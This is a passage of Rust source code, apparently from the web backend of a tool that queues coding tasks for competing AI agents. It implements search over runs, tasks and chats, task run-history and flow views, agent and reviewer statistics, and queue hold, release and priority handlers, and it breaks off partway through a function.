3345 let lo = start.saturating_sub(SNIPPET_BEFORE);
3346 let hi = (start + SNIPPET_AFTER).min(chars.len());
3347 let mut parts: Vec<SnippetPart> = Vec::new();
3348 let mut push = |s: &[char], hit: bool| {
3349 if s.is_empty() {
3350 return;
3351 }
3352 let text: String = s.iter().collect();
3353 match parts.last_mut() {
3354 Some(p) if p.hit == hit => p.text.push_str(&text),
3355 _ => parts.push(SnippetPart { text, hit }),
3356 }
3357 };
3358 if lo > 0 {
3359 push(&['\u{2026}'], false);
3360 }
3361 let mut at = lo;
3362 while at < hi {
3363 match find(at, hi) {
3364 Some((s, e)) => {
3365 push(&chars[at..s], false);
3366 let shown = e.min(hi);
3368 push(&chars[s..shown], true);
3369 at = shown;
3370 }
3371 None => {
3372 push(&chars[at..hi], false);
3373 at = hi;
3374 }
3375 }
3376 }
3377 if hi < chars.len() {
3378 push(&['\u{2026}'], false);
3379 }
3380 let mut prev_space = false;
3383 for p in &mut parts {
3384 let mut out = String::with_capacity(p.text.len());
3385 for c in p.text.chars() {
3386 if c.is_whitespace() {
3387 if !prev_space {
3388 out.push(' ');
3389 }
3390 prev_space = true;
3391 } else {
3392 out.push(c);
3393 prev_space = false;
3394 }
3395 }
3396 p.text = out;
3397 }
3398 parts.retain(|p| !p.text.is_empty());
3399 parts
3400}
3401
3402fn search_docs<I>(terms: &[String], docs: I, view: &mut SearchView)
3404where
3405 I: IntoIterator<Item = (String, serde_json::Value)>,
3406{
3407 for (id, doc) in docs {
3408 let mut leaves = Vec::new();
3409 leaves.push(("id", id.as_str()));
3412 text_leaves(&doc, "", &mut leaves);
3413 if let Some(mut hit) = search_document(terms, &leaves) {
3414 view.total += 1;
3415 if view.hits.len() < SEARCH_MAX_HITS {
3416 hit.id = id;
3417 view.hits.push(hit);
3418 }
3419 }
3420 }
3421 view.truncated = view.total > view.hits.len();
3422}
3423
3424fn talk_search_doc(talk: &Talk) -> serde_json::Value {
3431 let opener = talk
3432 .turns
3433 .iter()
3434 .find(|t| t.who == crate::talk::Who::Operator)
3435 .and_then(|t| t.body.lines().map(str::trim).find(|l| !l.is_empty()))
3436 .unwrap_or("");
3437 let title: String = if opener.chars().count() > 96 {
3438 opener.chars().take(95).chain(['\u{2026}']).collect()
3439 } else {
3440 opener.to_owned()
3441 };
3442 let turns: Vec<serde_json::Value> = talk
3443 .turns
3444 .iter()
3445 .map(|t| {
3446 let who = match t.who {
3447 crate::talk::Who::Operator => "operator",
3448 crate::talk::Who::Agent => "agent",
3449 };
3450 serde_json::json!({ who: t.body })
3451 })
3452 .collect();
3453 serde_json::json!({ "title": title, "turns": turns })
3454}
3455
3456async fn search_get(
3463 State(ui): State<Arc<Ui>>,
3464 Query(q): Query<SearchQuery>,
3465) -> ApiResult<Json<SearchView>> {
3466 let query = q.q.trim().to_owned();
3467 if query.is_empty() {
3468 return Err(ApiError::bad_request("q must not be empty"));
3469 }
3470 if query.chars().count() > SEARCH_MAX_QUERY {
3471 return Err(ApiError::bad_request(format!(
3472 "q is longer than {SEARCH_MAX_QUERY} characters"
3473 )));
3474 }
3475 let terms = search_terms(&query);
3476 if terms.len() > SEARCH_MAX_TERMS {
3477 return Err(ApiError::bad_request(format!(
3478 "q has more than {SEARCH_MAX_TERMS} terms"
3479 )));
3480 }
3481 let scope = q.scope;
3482 if scope != "runs" && scope != "tasks" && scope != "chats" {
3483 return Err(ApiError::bad_request("scope must be runs, tasks or chats"));
3484 }
3485 blocking(move || {
3486 let mut view = SearchView {
3487 scope: scope.clone(),
3488 q: query,
3489 hits: Vec::new(),
3490 total: 0,
3491 truncated: false,
3492 unreadable: 0,
3493 };
3494 if scope == "runs" {
3495 let mut unreadable = 0;
3496 let docs = run_ids(&ui.runs).into_iter().filter_map(|id| {
3500 let body = std::fs::read_to_string(ui.runs.join(&id).join("run.json")).ok();
3501 match body.and_then(|b| serde_json::from_str(&b).ok()) {
3502 Some(v) => Some((id, v)),
3503 None => {
3504 unreadable += 1;
3505 None
3506 }
3507 }
3508 });
3509 search_docs(&terms, docs, &mut view);
3510 view.unreadable = unreadable;
3511 let (open_runs, claimed, superseded) = run_row_inputs(&ui);
3514 let probe = std::cell::RefCell::new(crate::proc::ProcProbe::real());
3515 for hit in &mut view.hits {
3516 if let Ok(state) = read_run(&ui.runs, &hit.id) {
3517 hit.run = summarize(
3518 [state],
3519 &open_runs,
3520 &claimed,
3521 &superseded,
3522 |p| probe.borrow_mut().status(p),
3523 |p| probe.borrow_mut().started_at(p),
3524 )
3525 .pop();
3526 }
3527 }
3528 } else if scope == "chats" {
3529 let (talks, unreadable) = ui.talks.list_counting_unreadable();
3530 view.unreadable = unreadable;
3531 search_docs(
3532 &terms,
3533 talks.iter().map(|t| (t.id.clone(), talk_search_doc(t))),
3534 &mut view,
3535 );
3536 } else {
3537 let docs = ui.queue.list().into_iter().filter_map(|t| {
3538 let mut v = serde_json::to_value(&t).ok()?;
3539 if let Some(o) = v.as_object_mut() {
3542 o.insert("filed_by".to_owned(), t.source.label().into());
3543 }
3544 Some((t.id, v))
3545 });
3546 search_docs(&terms, docs, &mut view);
3547 }
3548 Ok(Json(view))
3549 })
3550 .await
3551}
3552
3553#[derive(Debug, Serialize)]
3555struct TaskRunView {
3556 n: usize,
3558 id: String,
3559 short: String,
3560 kind: &'static str,
3562 status: Option<&'static str>,
3564 readable: bool,
3566 provisional: bool,
3568 description: String,
3570 outcome: String,
3572 created_at: Option<Timestamp>,
3573 pr: Option<String>,
3574 exit: RunExit,
3576 attempt: AttemptCost,
3578 branch: Option<String>,
3580}
3581
3582#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize)]
3584#[serde(rename_all = "snake_case")]
3585enum RunExit {
3586 Unreadable,
3587 Interrupted,
3589 Parked,
3590 QuotaStall,
3591 ResumedQuotaStall,
3595 Merged,
3596 Ready,
3597 Superseded,
3598 AlreadyInBase,
3601 Stalled,
3603 HeldWithPr,
3605 NoopHeld,
3606 Spent,
3608 InProgress,
3609}
3610
3611#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize)]
3612#[serde(rename_all = "snake_case")]
3613enum AttemptCost {
3614 Spent,
3615 Refunded,
3616 None,
3617 Unknown,
3619}
3620
3621impl RunExit {
3622 fn of(s: Option<&RunState>, resumed_later: bool, resumed: bool) -> Self {
3623 let Some(s) = s else {
3624 return Self::Unreadable;
3625 };
3626 let status = s.status;
3627 if resumed_later {
3628 Self::Interrupted
3629 } else if s.parked {
3630 Self::Parked
3631 } else if !status.done() {
3632 Self::InProgress
3633 } else if matches!(status, RunStatus::Merged) {
3634 Self::Merged
3635 } else if matches!(status, RunStatus::Ready) {
3636 Self::Ready
3637 } else if matches!(status, RunStatus::Superseded) {
3638 Self::Superseded
3639 } else if matches!(status, RunStatus::AlreadyInBase) {
3640 Self::AlreadyInBase
3641 } else if matches!(status, RunStatus::Stalled) && !s.quota.is_empty()
3642 || matches!(status, RunStatus::Failed) && !s.quota.is_empty() && s.viable().is_empty()
3643 {
3644 if resumed {
3645 Self::ResumedQuotaStall
3646 } else {
3647 Self::QuotaStall
3648 }
3649 } else if matches!(status, RunStatus::Blocked | RunStatus::VerifiedNoop) && s.pr.is_some() {
3650 Self::HeldWithPr
3651 } else if matches!(status, RunStatus::VerifiedNoop) {
3652 Self::NoopHeld
3653 } else if matches!(status, RunStatus::Stalled) {
3654 Self::Stalled
3655 } else {
3656 Self::Spent
3657 }
3658 }
3659
3660 fn cost(self) -> AttemptCost {
3661 match self {
3662 Self::Parked | Self::QuotaStall => AttemptCost::Refunded,
3663 Self::Merged
3664 | Self::Ready
3665 | Self::Stalled
3666 | Self::HeldWithPr
3667 | Self::NoopHeld
3668 | Self::Spent => AttemptCost::Spent,
3669 Self::InProgress => AttemptCost::None,
3670 Self::AlreadyInBase => AttemptCost::Refunded,
3671 Self::Unreadable | Self::Superseded | Self::Interrupted | Self::ResumedQuotaStall => {
3672 AttemptCost::Unknown
3673 }
3674 }
3675 }
3676
3677 fn edge_label(self, status: Option<&str>) -> String {
3679 match self {
3680 Self::Unreadable => "record unreadable".to_owned(),
3681 Self::Interrupted => "interrupted before the run finished".to_owned(),
3682 Self::Parked => "parked, attempt refunded".to_owned(),
3683 Self::QuotaStall => "quota stall, attempt refunded".to_owned(),
3684 Self::ResumedQuotaStall => "stalled after a resume, refund unknown".to_owned(),
3685 Self::Merged => "merged".to_owned(),
3686 Self::Ready => "ready, not merged".to_owned(),
3687 Self::Superseded => "superseded by a later attempt".to_owned(),
3688 Self::AlreadyInBase => "already in the base, attempt refunded".to_owned(),
3689 Self::Stalled => "stalled, no verdict, attempt spent".to_owned(),
3690 Self::HeldWithPr => "blocked, PR left open".to_owned(),
3691 Self::NoopHeld => "verified no-op".to_owned(),
3692 Self::Spent => format!("{}, attempt spent", status.unwrap_or("ended")),
3693 Self::InProgress => "in progress".to_owned(),
3694 }
3695 }
3696
3697 fn explains(self, end: TaskStatus) -> bool {
3700 match self {
3701 Self::Merged | Self::AlreadyInBase => end == TaskStatus::Done,
3702 Self::HeldWithPr | Self::NoopHeld => end == TaskStatus::Held,
3703 Self::Unreadable | Self::Superseded | Self::Ready => true,
3704 _ => end != TaskStatus::Done,
3705 }
3706 }
3707}
3708
3709#[derive(Debug, Serialize)]
3711struct TaskDetailView {
3712 #[serde(flatten)]
3713 task: TaskView,
3714 max_attempts: usize,
3717 history: Vec<TaskRunView>,
3718 flow: FlowView,
3719 runs_unreadable: usize,
3721 attempts_note: &'static str,
3723}
3724
3725const ATTEMPTS_NOTE: &str = "Attempts count how many times the loop claimed this task since it was last released, \
3726and releasing a task resets the count while keeping every run. An attempt is also handed back when a run stalled \
3727on an agent rate limit or was parked for an upgrade. A resumed run still counts as an attempt (it appears again \
3728in the list), so the runs listed can outnumber the attempts shown only after a release or a handed-back attempt.";
3729
3730fn review_branch_of(instruction: &str) -> Option<&str> {
3733 let rest = instruction.strip_prefix("Review the work already on branch `")?;
3734 rest.split('`').next().filter(|b| !b.is_empty())
3735}
3736
3737struct RunSlot<'a> {
3739 n: usize,
3741 resumed: bool,
3743 resumed_later: Option<usize>,
3745 prior: Option<(&'a str, RunStatus)>,
3747 last: bool,
3748}
3749
3750fn task_run_view(id: &str, state: Option<&RunState>, at: RunSlot<'_>, task: &Task) -> TaskRunView {
3753 let RunSlot {
3754 n,
3755 resumed,
3756 resumed_later,
3757 prior,
3758 last,
3759 } = at;
3760 let short = run::short_of(id).to_owned();
3761 let Some(s) = state else {
3762 return TaskRunView {
3763 n,
3764 id: id.to_owned(),
3765 short,
3766 kind: "unknown",
3767 status: None,
3768 readable: false,
3769 provisional: false,
3770 description:
3771 "This run's record could not be read by this build (written by a different \
3772 magi, or removed), so what kind of attempt it was is unknown."
3773 .to_owned(),
3774 outcome: String::new(),
3775 created_at: None,
3776 pr: None,
3777 exit: RunExit::Unreadable,
3778 attempt: AttemptCost::Unknown,
3779 branch: None,
3780 };
3781 };
3782 let branch = review_branch_of(&s.instruction);
3783 let kind = if resumed {
3784 "resume"
3785 } else if branch.is_some() {
3786 "review"
3787 } else if task.solo || s.candidates.len() == 1 {
3788 "solo"
3789 } else {
3790 "competition"
3791 };
3792 let mut description = match kind {
3793 "resume" => {
3794 format!("Resumed run {short}: the same run carried on instead of competing again.")
3795 }
3796 "review" => format!(
3797 "Review the work already on branch `{}`: a review-only pass, no new implementation.",
3798 branch.unwrap_or_default()
3799 ),
3800 "solo" => "Solo run: one implementer straight into review.".to_owned(),
3801 _ => format!(
3802 "Competition: {} candidates judged blind.",
3803 s.candidates.len().max(1)
3804 ),
3805 };
3806 if !resumed && let Some((p, st)) = prior {
3807 description.push_str(&format!(
3808 " A retry: run {p} before it ended {}.",
3809 st.display_label()
3810 ));
3811 }
3812
3813 let status = s.status;
3814 let provisional = matches!(status, RunStatus::Stalled)
3815 || s.tally.as_ref().is_some_and(|t| !t.met_quorum) && !status.done();
3816 let head = if resumed_later.is_some() {
3817 String::new()
3818 } else {
3819 match status {
3820 RunStatus::Merged => "Merged.".to_owned(),
3821 RunStatus::Ready => "Ready: passed the gate, not merged.".to_owned(),
3822 RunStatus::Superseded => "Superseded: a later attempt finished the task.".to_owned(),
3823 RunStatus::AlreadyInBase => {
3824 "Already in the base: this change landed under other commits, nothing was left to land."
3825 .to_owned()
3826 }
3827 RunStatus::Stalled => {
3828 "Stalled: the judging panel never reached a quorum, so there is no verdict."
3829 .to_owned()
3830 }
3831 RunStatus::Blocked => "Blocked: review or gate left something open.".to_owned(),
3832 RunStatus::Failed => "Failed: the graph could not complete.".to_owned(),
3833 RunStatus::VerifiedNoop => {
3834 "Verified no-op: the candidates found nothing to change.".to_owned()
3835 }
3836 other if other.done() => format!("Ended {}.", other.display_label()),
3837 other => format!("In progress ({}).", other.display_label()),
3838 }
3839 };
3840 let why = if let Some(k) = resumed_later {
3841 let cause = if s.quota.is_empty() {
3848 "the cause was not recorded: a park, a crash or a restart all look the same from here"
3849 } else {
3850 "the run has recorded an agent rate limit, which may or may not be why this pass stopped"
3851 };
3852 format!(
3853 " This pass stopped before the run finished ({cause}); whether its attempt was handed back is unknown. Pass #{k} resumed the same run, and the status shown is the run's current one."
3854 )
3855 } else if s.parked {
3856 " Parked by the operator at a node boundary; the attempt was handed back and the run resumes."
3857 .to_owned()
3858 } else if !status.done()
3859 || matches!(
3860 status,
3861 RunStatus::Merged | RunStatus::Ready | RunStatus::Superseded | RunStatus::AlreadyInBase
3862 )
3863 {
3864 String::new()
3865 } else if matches!(status, RunStatus::Stalled) && !s.quota.is_empty()
3866 || matches!(status, RunStatus::Failed) && !s.quota.is_empty() && s.viable().is_empty()
3867 {
3868 " An agent hit its rate limit during this run; when that is what stalls a pass the attempt is handed back."
3869 .to_owned()
3870 } else if matches!(status, RunStatus::Blocked | RunStatus::VerifiedNoop) && s.pr.is_some() {
3871 " It left a pull request open, so the task was held for a person rather than retried."
3872 .to_owned()
3873 } else if matches!(status, RunStatus::VerifiedNoop) {
3874 " Held for a person to check the claim.".to_owned()
3875 } else if last {
3876 " It spent an attempt; the task retries until the budget runs out, then is held.".to_owned()
3877 } else {
3878 " It spent an attempt, and the task moved on to the next run.".to_owned()
3879 };
3880 let exit = RunExit::of(Some(s), resumed_later.is_some(), resumed);
3881 TaskRunView {
3882 n,
3883 id: id.to_owned(),
3884 short,
3885 kind,
3886 status: Some(status.as_str()),
3887 readable: true,
3888 provisional,
3889 description,
3890 outcome: format!("{head}{why}"),
3891 created_at: Some(s.created_at),
3892 pr: s.pr.as_ref().map(|p| p.url.clone()),
3893 exit,
3894 attempt: exit.cost(),
3895 branch: branch.map(str::to_owned),
3896 }
3897}
3898
3899#[derive(Debug, Serialize, PartialEq)]
3901struct FlowNode {
3902 key: String,
3904 kind: &'static str,
3906 label: String,
3907 status: Option<&'static str>,
3910 note: Option<&'static str>,
3912 run_kind: Option<&'static str>,
3913 detail: Option<String>,
3914 decided: bool,
3916 readable: bool,
3917 href: Option<String>,
3918}
3919
3920#[derive(Debug, Serialize, PartialEq)]
3921struct FlowEdge {
3922 from: String,
3923 to: String,
3924 label: String,
3925 attempt: AttemptCost,
3926}
3927
3928#[derive(Debug, Serialize, PartialEq)]
3929struct FlowView {
3930 nodes: Vec<FlowNode>,
3931 edges: Vec<FlowEdge>,
3932 attempts: usize,
3934 max_attempts: usize,
3935}
3936
3937fn task_flow(task: &Task, history: &[TaskRunView], max_attempts: usize) -> FlowView {
3940 let node = |key: &str, kind, label: String| FlowNode {
3941 key: key.to_owned(),
3942 kind,
3943 label,
3944 status: None,
3945 note: None,
3946 run_kind: None,
3947 detail: None,
3948 decided: false,
3949 readable: true,
3950 href: None,
3951 };
3952 let mut nodes = Vec::new();
3953 let mut edges: Vec<FlowEdge> = Vec::new();
3954 if let Some(link) = source_link(&task.source).filter(|l| l.kind == "chat") {
3956 let mut n = node(
3957 "chat",
3958 "chat",
3959 format!("Chat {}", crate::queue::short(&link.id)),
3960 );
3961 n.href = Some(link.href);
3962 nodes.push(n);
3963 edges.push(FlowEdge {
3964 from: "chat".to_owned(),
3965 to: "start".to_owned(),
3966 label: "queued from chat".to_owned(),
3967 attempt: AttemptCost::None,
3968 });
3969 }
3970 nodes.push(node("start", "start", "Task queued".to_owned()));
3971 let mut prev = "start".to_owned();
3972 let mut prev_exit: Option<(RunExit, Option<&str>)> = None;
3973 for (i, h) in history.iter().enumerate() {
3974 let key = format!("run-{}", h.n);
3975 let mut n = node(&key, "run", format!("Run {}", h.short));
3976 n.run_kind = Some(h.kind);
3977 n.readable = h.readable;
3978 n.href = Some(format!("#/runs/{}", h.id));
3979 n.decided = h.readable && !h.provisional;
3980 n.detail = h
3981 .branch
3982 .as_ref()
3983 .map(|b| format!("review-only run of branch {b}"));
3984 match h.exit {
3985 RunExit::Unreadable => n.note = Some("unreadable"),
3986 RunExit::Interrupted => n.note = Some("interrupted"),
3987 _ => {
3988 n.status = h.status;
3989 if h.provisional {
3990 n.note = Some("no verdict");
3991 }
3992 }
3993 }
3994 let into = match h.kind {
3995 "review" => Some(format!(
3996 "review-only run of branch {}",
3997 h.branch.as_deref().unwrap_or("?")
3998 )),
3999 "resume" => Some("resume the same run".to_owned()),
4000 _ if i > 0 => Some("retry".to_owned()),
4001 _ => None,
4002 };
4003 let label = match (prev_exit, into) {
4004 (Some((e, st)), Some(i)) => format!("{} \u{2192} {i}", e.edge_label(st)),
4005 (Some((e, st)), None) => e.edge_label(st),
4006 (None, Some(i)) => i,
4007 (None, None) => "claimed".to_owned(),
4008 };
4009 edges.push(FlowEdge {
4010 from: prev.clone(),
4011 to: key.clone(),
4012 label,
4013 attempt: prev_exit.map_or(AttemptCost::None, |(e, _)| e.cost()),
4014 });
4015 prev_exit = Some((h.exit, h.status));
4016 prev = key;
4017 nodes.push(n);
4018 }
4019 let mut end = node("end", "end", task.status.as_str().to_owned());
4020 end.status = Some(task.status.as_str());
4021 nodes.push(end);
4022 let (label, attempt) = match prev_exit {
4023 None => (
4024 format!("no run yet \u{2192} {}", task.status.as_str()),
4025 AttemptCost::None,
4026 ),
4027 Some((e, st)) if e.explains(task.status) => (
4028 format!("{} \u{2192} {}", e.edge_label(st), task.status.as_str()),
4029 e.cost(),
4030 ),
4031 Some((e, _)) => (
4032 format!("closed by hand: task is {}", task.status.as_str()),
4033 e.cost(),
4034 ),
4035 };
4036 edges.push(FlowEdge {
4037 from: prev,
4038 to: "end".to_owned(),
4039 label,
4040 attempt,
4041 });
4042 FlowView {
4043 nodes,
4044 edges,
4045 attempts: task.attempts,
4046 max_attempts,
4047 }
4048}
4049
4050fn task_history(task: &Task, read: impl Fn(&str) -> Option<RunState>) -> Vec<TaskRunView> {
4053 let mut history = Vec::with_capacity(task.runs.len());
4054 let mut seen: Vec<&str> = Vec::new();
4055 let mut prior: Option<(&str, RunStatus)> = None;
4056 for (i, run_id) in task.runs.iter().enumerate() {
4057 let state = read(run_id);
4058 let resumed = seen.contains(&run_id.as_str());
4059 seen.push(run_id);
4060 history.push(task_run_view(
4061 run_id,
4062 state.as_ref(),
4063 RunSlot {
4064 n: i + 1,
4065 resumed,
4066 resumed_later: task.runs[i + 1..]
4067 .iter()
4068 .position(|r| r == run_id)
4069 .map(|off| i + off + 2),
4070 prior,
4071 last: i + 1 == task.runs.len(),
4072 },
4073 task,
4074 ));
4075 if let Some(s) = &state {
4076 prior = Some((run::short_of(run_id), s.status));
4077 }
4078 }
4079 history
4080}
4081
4082async fn task_detail(
4083 State(ui): State<Arc<Ui>>,
4084 Path(id): Path<String>,
4085) -> ApiResult<Json<TaskDetailView>> {
4086 blocking(move || {
4087 let id = resolve_task(&ui.queue, &id)?;
4088 let task = ui
4089 .queue
4090 .get(&id)
4091 .map_err(|e| ApiError::not_found(format!("{e:#}")))?;
4092 let inv = crate::blockers::Inventory::new(ui.queue.list(), &ui.questions.list());
4093 let history = task_history(&task, |id| read_run(&ui.runs, id).ok());
4094 let runs_unreadable = history.iter().filter(|h| !h.readable).count();
4095 let max_attempts = daemon::Opts::default().max_attempts;
4096 let flow = task_flow(&task, &history, max_attempts);
4097 Ok(Json(TaskDetailView {
4098 max_attempts,
4099 flow,
4100 history,
4101 runs_unreadable,
4102 attempts_note: ATTEMPTS_NOTE,
4103 task: TaskView::with_inventory(task, &inv),
4104 }))
4105 })
4106 .await
4107}
4108
4109#[derive(Debug, Serialize)]
4113struct RateView {
4114 pct: f64,
4115 denominator: usize,
4116}
4117
4118impl RateView {
4119 fn of(numerator: usize, denominator: usize) -> Option<Self> {
4120 (denominator > 0).then(|| Self {
4121 pct: 100.0 * numerator as f64 / denominator as f64,
4122 denominator,
4123 })
4124 }
4125}
4126
4127#[derive(Debug, Serialize)]
4132struct StatsTotalsView {
4133 runs: usize,
4134 merged: usize,
4135 ready: usize,
4136 blocked: usize,
4137 failed: usize,
4138 stalled: usize,
4139 verified_noop: usize,
4140 superseded: usize,
4141 in_progress: usize,
4142 completion_rate: Option<RateView>,
4143 tallied: usize,
4144 split: usize,
4145 split_rate: Option<RateView>,
4146 deliberated: usize,
4147 minds_changed: usize,
4148 converged: usize,
4149 review_rounds: usize,
4150}
4151
4152impl From<&stats::Totals> for StatsTotalsView {
4153 fn from(t: &stats::Totals) -> Self {
4154 Self {
4155 runs: t.runs,
4156 merged: t.merged,
4157 ready: t.ready,
4158 blocked: t.blocked,
4159 failed: t.failed,
4160 stalled: t.stalled,
4161 verified_noop: t.verified_noop,
4162 superseded: t.superseded,
4163 in_progress: t.in_progress,
4164 completion_rate: RateView::of(t.merged + t.ready, t.runs),
4165 tallied: t.tallied,
4166 split: t.split,
4167 split_rate: RateView::of(t.split, t.tallied),
4168 deliberated: t.deliberated,
4169 minds_changed: t.minds_changed,
4170 converged: t.converged,
4171 review_rounds: t.review_rounds,
4172 }
4173 }
4174}
4175
4176#[derive(Debug, Serialize)]
4178struct AgentStatsView {
4179 agent: String,
4180 entered: usize,
4181 wins: usize,
4182 empty: usize,
4183 win_rate: Option<RateView>,
4184}
4185
4186impl From<&stats::AgentStats> for AgentStatsView {
4187 fn from(a: &stats::AgentStats) -> Self {
4188 Self {
4189 agent: a.agent.clone(),
4190 entered: a.entered,
4191 wins: a.wins,
4192 empty: a.empty,
4193 win_rate: RateView::of(a.wins, a.entered),
4194 }
4195 }
4196}
4197
4198#[derive(Debug, Serialize)]
4202struct ReviewerStatsView {
4203 agent: String,
4204 rounds: usize,
4205 seated: usize,
4206 submitted: usize,
4207 adopted: usize,
4208 unique: usize,
4209 timeouts: usize,
4210 adopted_per_round: Option<f64>,
4211 precision: Option<RateView>,
4212 unique_rate: Option<RateView>,
4213 timeout_rate: Option<RateView>,
4214}
4215
4216impl From<&stats::ReviewerStats> for ReviewerStatsView {
4217 fn from(r: &stats::ReviewerStats) -> Self {
4218 Self {
4219 agent: r.agent.clone(),
4220 rounds: r.rounds,
4221 seated: r.seated,
4222 submitted: r.submitted,
4223 adopted: r.adopted,
4224 unique: r.unique,
4225 timeouts: r.timeouts,
4226 adopted_per_round: (r.rounds > 0).then(|| r.adopted_per_round()),
4227 precision: RateView::of(r.adopted, r.submitted),
4228 unique_rate: RateView::of(r.unique, r.submitted),
4229 timeout_rate: RateView::of(r.timeouts, r.seated),
4230 }
4231 }
4232}
4233
4234#[derive(Debug, Serialize)]
4240struct AdvisorStatsView {
4241 agent: String,
4242 seated: usize,
4243 proposed: usize,
4244 absent: usize,
4245 faint: usize,
4246 strong: usize,
4247 reflection_rate: Option<RateView>,
4248}
4249
4250impl From<&stats::AdvisorStats> for AdvisorStatsView {
4251 fn from(a: &stats::AdvisorStats) -> Self {
4252 Self {
4253 agent: a.agent.clone(),
4254 seated: a.seated,
4255 proposed: a.proposed,
4256 absent: a.absent,
4257 faint: a.faint,
4258 strong: a.strong,
4259 reflection_rate: RateView::of(a.strong, a.proposed),
4260 }
4261 }
4262}
4263
4264#[derive(Debug, Serialize)]
4266struct E2eStatsView {
4267 rounds: usize,
4268 failures: usize,
4269 sole_detections: usize,
4270 deferred: usize,
4271 sole_rate: Option<RateView>,
4272}
4273
4274impl From<&stats::E2eStats> for E2eStatsView {
4275 fn from(e: &stats::E2eStats) -> Self {
4276 Self {
4277 rounds: e.rounds,
4278 failures: e.failures,
4279 sole_detections: e.sole_detections,
4280 deferred: e.deferred,
4281 sole_rate: RateView::of(e.sole_detections, e.failures),
4282 }
4283 }
4284}
4285
4286#[derive(Debug, Serialize)]
4294struct ReleaseBumpStatsView {
4295 merged: usize,
4296 recorded: usize,
4297 pr_opened: usize,
4298 automerge_enabled: usize,
4299 merged_directly: usize,
4300 needs_attention: usize,
4301 clean: usize,
4302 coverage_rate: Option<RateView>,
4303 automerge_rate: Option<RateView>,
4304 attention_rate: Option<RateView>,
4305}
4306
4307impl From<&stats::ReleaseBumpStats> for ReleaseBumpStatsView {
4308 fn from(b: &stats::ReleaseBumpStats) -> Self {
4309 Self {
4310 merged: b.merged,
4311 recorded: b.recorded,
4312 pr_opened: b.pr_opened,
4313 automerge_enabled: b.automerge_enabled,
4314 merged_directly: b.merged_directly,
4315 needs_attention: b.needs_attention,
4316 clean: b.clean(),
4317 coverage_rate: RateView::of(b.recorded, b.merged),
4318 automerge_rate: RateView::of(b.automerge_enabled, b.pr_opened),
4319 attention_rate: RateView::of(b.needs_attention, b.recorded),
4320 }
4321 }
4322}
4323
4324#[derive(Debug, Serialize)]
4326struct TaskCountsView {
4327 queued: usize,
4328 running: usize,
4329 done: usize,
4330 failed: usize,
4331 held: usize,
4332 blocked: usize,
4333}
4334
4335impl From<crate::queue::TaskCounts> for TaskCountsView {
4336 fn from(c: crate::queue::TaskCounts) -> Self {
4337 Self {
4338 queued: c.queued,
4339 running: c.running,
4340 done: c.done,
4341 failed: c.failed,
4342 held: c.held,
4343 blocked: c.blocked,
4344 }
4345 }
4346}
4347
4348#[derive(Debug, Serialize)]
4354struct RepoSummaryView {
4355 repo: String,
4358 name: String,
4360 runs: usize,
4361 completion_rate: Option<RateView>,
4362}
4363
4364impl From<&stats::RepoStats> for RepoSummaryView {
4365 fn from(r: &stats::RepoStats) -> Self {
4366 let t = &r.stats.totals;
4367 Self {
4368 repo: r.repo.to_string_lossy().into_owned(),
4369 name: r.name.clone(),
4370 runs: t.runs,
4371 completion_rate: RateView::of(t.merged + t.ready, t.runs),
4372 }
4373 }
4374}
4375
4376#[derive(Debug, Serialize)]
4382struct StatsView {
4383 totals: StatsTotalsView,
4384 agents: Vec<AgentStatsView>,
4386 reviewers: Vec<ReviewerStatsView>,
4388 advisors: Vec<AdvisorStatsView>,
4390 e2e: E2eStatsView,
4391 release_bumps: ReleaseBumpStatsView,
4392 queue: TaskCountsView,
4393 runs_unreadable: usize,
4403 repos: Vec<RepoSummaryView>,
4407 repo: Option<String>,
4411}
4412
4413#[derive(Debug, Default, Deserialize)]
4422#[serde(default)]
4423struct StatsQuery {
4424 repo: Option<String>,
4425}
4426
4427async fn stats_get(
4434 State(ui): State<Arc<Ui>>,
4435 Query(q): Query<StatsQuery>,
4436) -> ApiResult<Json<StatsView>> {
4437 blocking(move || {
4438 let states: Vec<RunState> = run_ids(&ui.runs)
4439 .into_iter()
4440 .filter_map(|id| read_run(&ui.runs, &id).ok())
4441 .collect();
4442 let repos: Vec<RepoSummaryView> = stats::by_repo(&states)
4443 .iter()
4444 .map(RepoSummaryView::from)
4445 .collect();
4446 let collected = match &q.repo {
4447 Some(repo) => {
4448 let filtered = stats::filter_repo(&states, std::path::Path::new(repo));
4449 if filtered.is_empty() {
4450 return Err(ApiError::not_found(format!(
4451 "no runs recorded against repo `{repo}`"
4452 )));
4453 }
4454 stats::collect_refs(filtered)
4455 }
4456 None => stats::collect(&states),
4457 };
4458 let queue_counts = crate::queue::TaskCounts::of(&ui.queue.list());
4459 Ok(Json(StatsView {
4460 totals: StatsTotalsView::from(&collected.totals),
4461 agents: collected.agents.iter().map(AgentStatsView::from).collect(),
4462 reviewers: collected
4463 .reviewers
4464 .iter()
4465 .map(ReviewerStatsView::from)
4466 .collect(),
4467 advisors: collected
4468 .advisors
4469 .iter()
4470 .map(AdvisorStatsView::from)
4471 .collect(),
4472 e2e: E2eStatsView::from(&collected.e2e),
4473 release_bumps: ReleaseBumpStatsView::from(&collected.release_bumps),
4474 queue: TaskCountsView::from(queue_counts),
4475 runs_unreadable: runs_unreadable(&ui.runs),
4476 repos,
4477 repo: q.repo.clone(),
4478 }))
4479 })
4480 .await
4481}
4482
4483#[derive(Debug, Default, Deserialize)]
4486#[serde(default, deny_unknown_fields)]
4487struct HoldBody {
4488 reason: Option<String>,
4489}
4490
4491async fn queue_hold(
4492 State(ui): State<Arc<Ui>>,
4493 Path(id): Path<String>,
4494 body: std::result::Result<Json<HoldBody>, JsonRejection>,
4495) -> ApiResult<Json<TaskView>> {
4496 let body = match body {
4500 Ok(Json(body)) => body,
4501 Err(JsonRejection::MissingJsonContentType(_)) => HoldBody::default(),
4502 Err(e) => return Err(ApiError::bad_request(e.body_text())),
4503 };
4504 let reason = body.reason.filter(|r| !r.trim().is_empty());
4505 mutate(ui, id, move |t| {
4506 t.hold_manual(reason.clone());
4507 Ok(())
4508 })
4509 .await
4510}
4511
4512async fn queue_release(
4513 State(ui): State<Arc<Ui>>,
4514 Path(id): Path<String>,
4515) -> ApiResult<Json<TaskView>> {
4516 mutate(ui, id, |t| {
4517 t.release();
4518 Ok(())
4519 })
4520 .await
4521}
4522
4523#[derive(Debug, Deserialize)]
4525#[serde(deny_unknown_fields)]
4526struct PriorityBody {
4527 priority: i32,
4528}
4529
4530async fn queue_priority(
4536 State(ui): State<Arc<Ui>>,
4537 Path(id): Path<String>,
4538 body: std::result::Result<Json<PriorityBody>, JsonRejection>,
